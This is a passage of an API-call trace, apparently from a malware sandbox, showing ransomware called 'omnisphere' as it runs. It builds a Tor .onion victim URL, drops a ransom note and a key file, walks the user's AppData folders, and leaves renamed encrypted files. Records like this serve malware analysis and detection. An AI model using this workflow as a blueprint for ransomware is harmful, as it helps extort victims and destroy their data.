Size=0x11) returned 0x1687468 [0117.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687468, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.954] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.954] GetProcessHeap () returned 0x1600000 [0117.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16562e0 [0117.954] PathCombineW (in: pszDest=0x16562e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\!DECRYPT_OMNISPHERE.txt" [0117.954] GetProcessHeap () returned 0x1600000 [0117.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16994d0 [0117.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.959] WriteFile (in: hFile=0x3a0, lpBuffer=0x16994d0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x16994d0*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0117.960] CloseHandle (hObject=0x3a0) returned 1 [0117.960] GetProcessHeap () returned 0x1600000 [0117.960] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169e608 | out: hHeap=0x1600000) returned 1 [0117.960] GetProcessHeap () returned 0x1600000 [0117.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e0e8 [0117.960] PathCombineW (in: pszDest=0x165e0e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\unique_decrypt.key" [0117.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.961] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0117.962] CloseHandle (hObject=0x3a0) returned 1 [0117.962] GetProcessHeap () returned 0x1600000 [0117.962] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e0e8 | out: hHeap=0x1600000) returned 1 [0117.962] GetProcessHeap () returned 0x1600000 [0117.962] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16337f8 | out: hHeap=0x1600000) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12, dwReserved0=0x0, dwReserved1=0xdb, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0117.962] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.962] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x27689ffc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27689ffc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0117.962] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x27689ffc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27689ffc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27663de9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27663de9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27689ffc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x27663de9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="CUSTOM.DIC.omnisphere", cAlternateFileName="CUSTOM~1.OMN")) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27663de9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27663de9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27663de9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="CUSTOM.DIC.omnisphere.id", cAlternateFileName="CUSTOM~1.ID")) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27689ffc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27689ffc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27689ffc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27689ffc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27689ffc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27689ffc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.963] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0117.963] GetProcessHeap () returned 0x1600000 [0117.963] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1640080 | out: hHeap=0x1600000) returned 1 [0117.963] GetProcessHeap () returned 0x1600000 [0117.963] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0117.963] GetProcessHeap () returned 0x1600000 [0117.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1606e38 [0117.963] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Vault" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault" [0117.963] GetProcessHeap () returned 0x1600000 [0117.963] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f300 [0117.963] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*" [0117.963] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0117.963] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0117.963] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0117.963] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.964] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.964] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0117.964] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.964] GetProcessHeap () returned 0x1600000 [0117.964] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0117.964] GetProcessHeap () returned 0x1600000 [0117.964] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0117.964] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0117.964] GetProcessHeap () returned 0x1600000 [0117.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f700 [0117.964] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Windows" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows" [0117.964] GetProcessHeap () returned 0x1600000 [0117.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163f480 [0117.964] PathCombineW (in: pszDest=0x163f480, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\*" [0117.964] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="CloudStore", cAlternateFileName="CLOUDS~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4e13d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="PowerShell", cAlternateFileName="POWERS~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2307413b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Recent", cAlternateFileName="")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3dfad38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x391b18ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="SendTo", cAlternateFileName="")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f43b6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Themes", cAlternateFileName="")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed5176e5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed5176e5, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Themes", cAlternateFileName="")) returned 0 [0117.965] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.965] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.966] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.966] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0117.966] GetProcessHeap () returned 0x1600000 [0117.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e548 [0117.966] PathCombineW (in: pszDest=0x165e548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="AccountPictures" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0117.966] GetProcessHeap () returned 0x1600000 [0117.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e9a8 [0117.966] PathCombineW (in: pszDest=0x165e9a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*") 